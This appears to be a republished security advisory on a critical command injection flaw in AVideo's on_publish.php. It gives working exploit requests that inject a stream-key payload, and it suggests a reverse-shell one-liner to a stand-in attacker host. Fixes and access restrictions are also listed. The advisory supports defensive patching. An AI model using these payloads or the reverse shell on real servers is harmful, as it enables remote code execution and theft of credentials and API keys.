Listen to this Post
The vulnerability resides in `plugin/Live/on_publish.php` at line 267, where the YPTSocket notification branch builds a shell command via string concatenation. Instead of using escapeshellarg(), the developer wrapped variables ($users_id, $m3u8, $obj->liveTransmitionHistory_id) in literal single quotes inside the double-quoted string, e.g., '$m3u8'. This does not provide shell quoting; it merely places two quote characters around the variable’s value. PHP interpolates the variable, then the shell tokenizes the resulting string. If any of the three values contains a single quote ('), that quote closes the outer quoted token, allowing the attacker to inject arbitrary shell metacharacters (e.g., ;, &&, |, backticks, $()). The `$m3u8` value comes from Live::getM3U8File(), which returns a URL containing the stream key verbatim from the database. A `canStream` user can inject a payload into the stream key via `saveLive.php` (where `$_REQUEST[‘key’]` is written without sanitization). The endpoint `/plugin/Live/on_publish.php` is publicly reachable (no IP restriction), and the only authentication is the user’s own password MD5. By POSTing a `name` parameter with a payload like evilkey';id>/tmp/pwn;, the attacker bypasses the weak `preg_replace(“/[&=]/”, ”, $_POST[‘name’])` (only removes `&` and =). The server then builds a command such as:
`php …/on_publish_socket_notification.php ‘7’ ‘https://server/live/evilkey’;id>/tmp/pwn;.m3u8′ ’42’`
The shell sees: command php, argument '7', then `’https://server/live/evilkey’` (closing quote), then ;, then id>/tmp/pwn, then `;.m3u8′ ’42’` as a comment. `execAsync()` spawns the shell, executing `id>/tmp/pwn` as the web server user. This yields remote code execution with the privileges of the AVideo runtime user.
dailycve form:
Platform: AVideo
Version: All (≤ unfixed)
Vulnerability: Command injection
Severity: Critical
date: 2025-05-16
Prediction: Patch within 14d
What Undercode Say:
Verify injection offline s="php /a/b.php '7' 'https://s/live/evilkey';id>/tmp/pwn;.m3u8' '42'" rm -f /tmp/pwn; bash -c "$s" 2>/dev/null; ls -l /tmp/pwn Locate vulnerable line grep -n "execAsync.'\\$users_id'" plugin/Live/on_publish.php Count safe escapeshellarg usage (137 instances) grep -r "escapeshellarg" --include=".php" | wc -l
Exploit:
Attacker needs a `canStream` account. Step 1 – Inject payload into stream key:
`POST /saveLive.php` with `key=evilkey’;id>/tmp/pwn;` and valid password. Step 2 – Trigger on_publish.php:
`POST /plugin/Live/on_publish.php` with name=evilkey';id>/tmp/pwn;&p=<md5(password)>&tcurl=rtmp://target/live&addr=1.2.3.4. The server executes id>/tmp/pwn. Replace `id` with reverse shell (e.g., bash -i >& /dev/tcp/attacker/4444 0>&1).
Protection from this CVE
- Apply fix: replace line 267 with `escapeshellarg()` on each argument (as shown in the ’s diff).
- Restrict access to `on_publish.php` to only RTMP server IPs (e.g.,
127.0.0.1) via `.htaccess` or Nginxlocation. - Sanitize stream keys at input: reject or escape single quotes before database write.
Impact
Full remote code execution as the web server user. Attacker can read `configuration.php` (database password, salt, root URL), exfiltrate live streams, drop a webshell, steal API keys (PayPal, Stripe, AWS, OpenAI), pivot to other plugins, and maintain persistence via cron or uploads.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
